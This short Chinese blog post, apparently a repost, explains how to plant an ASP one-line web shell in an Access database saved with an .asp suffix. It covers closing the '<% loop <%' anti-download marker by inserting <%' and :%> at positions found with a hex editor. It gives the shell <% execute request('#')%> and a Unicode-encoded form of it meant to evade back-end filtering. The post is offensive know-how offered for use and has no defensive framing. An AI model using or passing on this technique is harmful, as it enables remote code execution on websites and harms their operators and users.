關於asp後綴數據庫插馬的思考

很久之前便有利用Asp+Access網站數據庫採用asp後綴直接插入一句話***的介紹了。這裏簡單總結一下。
爲了防範數據庫被下載,網站Access數據庫中常出現nodown等字段。
其中內容爲3C25206C6F6F70203C25,也就是ASP語句中的<% loop <%。由此,如果讓我們插入的腳本正常執行,首先一個前提就是閉合<% loop<%。
而爲了閉合<% loop <%,便要在數據庫中尋找合適的位置插入<%’和:%>來構造出<%’<% loop <% :%>的結構,由此將loop的放下載過濾掉。
但是多次測試發現,插入數據庫時經常不能在固定的插入位置把loop防下載過濾掉,只能通過winhex等16進制編輯器來確定<% loop <%所在的位置,並查找出<% loop <%前後的數據內容,按照順序來進行”<%’”和”:%>”的插入。
這樣就是asp插馬的一般思路了 。那麼要插入一句話***,需要的一個簡單的工具如Lake2的ANSI2UNICODE實現Ansi編碼轉換爲Unicode編碼。比如可以這樣構造<% execute request(“#”)%>a<%’x
經過工具轉換後爲┼攠數畣整爠煥敵瑳∨∣┩愾┼砧,這樣在後臺插入即可而不必擔心過濾。
但是注意,單純的ASP網頁寫入這些內容是無法解析的。但此Unicode編碼被插入數據庫時卻是沒有問題的,而從16進制的角度看,插入ANSI與Unicode是相同的。故成功插入後可以正常解析。

轉載請註明出處:Sec安全資訊.本文鏈接:http://5ec.info/archives/150

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章